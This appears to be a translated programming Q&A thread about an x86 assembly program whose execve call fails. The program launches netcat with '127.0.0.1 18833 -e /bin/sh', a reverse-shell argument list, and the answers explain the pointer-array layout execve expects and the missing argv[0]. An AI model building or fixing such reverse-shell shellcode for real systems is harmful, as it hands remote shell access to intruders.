【问题标题】:Linux Sys_execve wont run in assemblyLinux Sys_execve 不会在程序集中运行
【发布时间】:2017-07-29 13:05:04
【问题描述】:

我正在编写一个汇编程序,它需要调用 netcat 并通过 Internet 执行程序。

据我了解,对于 execve 命令,您将 EBX 寄存器指向您要运行的程序,最后以空字节终止。您将 ECX 寄存器指向由空字节分隔的参数,在 args 列表的末尾有 2 个空字节。您只需将 EDX 设置为一堆空字节。

在我的命令 int0x80 执行命令时,我的寄存器如下所示:

Eax : 11 #系统调用
EBX: 0x0783140 #/bin//nc
ECX:0x078314a #args
EDX: 0x07831a4 #env

这是ASCII中0x0783140处内存的值:

[空字节] = 0x00

/bin//nc[空字节]127.0.0.1[空字节]18833[空字节]-e[空字节]/bin/sh[空字节][空字节]

EBX 指向 '/bin//nc'
ECX 指向“127.0.0.1”
RDX 只是指向一堆空字节

程序将调用 int 0x80,但它会立即返回并将 0xfffffff2 放入 EAX 寄存器中。

任何帮助都会很棒。

编辑:感谢 ehemient,我现在能够实际运行 netcat,但不知何故,我认为我的 args 没有被程序正确读取。我认为这是因为 netcat 运行但立即以退出代码 1 退出,并且没有与我的侦听器建立连接。

ecx 现在在内存中指向这个(注意我在地址之间放置了空格以方便阅读,但它们在我的程序中不存在):

0x78315e 0x783168 0x78316e 0x783171 0x00000000

0x78315e => 127.0.0.1[Null Byte]
0x783168 => 18833[Null Byte]
0x78316e => -e[Null Byte]
0x783171 => /root/myprogram[Null Byte]

我已经四次检查地址实际上指向上面的 askii 值

【问题讨论】:

    标签: linux assembly netcat


    【解决方案1】:

    您收到errno=EFAULT (0xfffffff2 = -14, 14 = EFAULT),表明您将错误的地址传递给系统调用。

    SYS_execve 接受 3 个参数,但第二个和第三个是以 NULL 结尾的指向参数/环境字符串的指针数组,而不是一个由 nul 分隔的组件组成的字符串。将字符串解释为指针数组,意味着字符串的前 4 个字节被解释为第一个字符串的地址,但它不是有效地址,因此是 EFAULT。

    SYSCALL_DEFINE3(execve,
                    const char __user *, filename,
                    const char __user *const __user *, argv,
                    const char __user *const __user *, envp)
    

    【讨论】:

    • 非常感谢,解决了 netcat 无法运行的问题,但现在无法正确读取 args。如果您能提供任何进一步的帮助,我们将不胜感激
    • @HansDonkersloot 看起来你缺少 argv[0]。这通常是二进制文件的文件名。它应该出现在其他论点之前。
    猜你喜欢
    • 1970-01-01
    • 1970-01-01
    • 2014-09-13
    • 2021-12-09
    • 2011-02-15
    • 2011-02-09
    • 2017-05-11
    • 1970-01-01
    • 2013-08-15
    相关资源
    最近更新 更多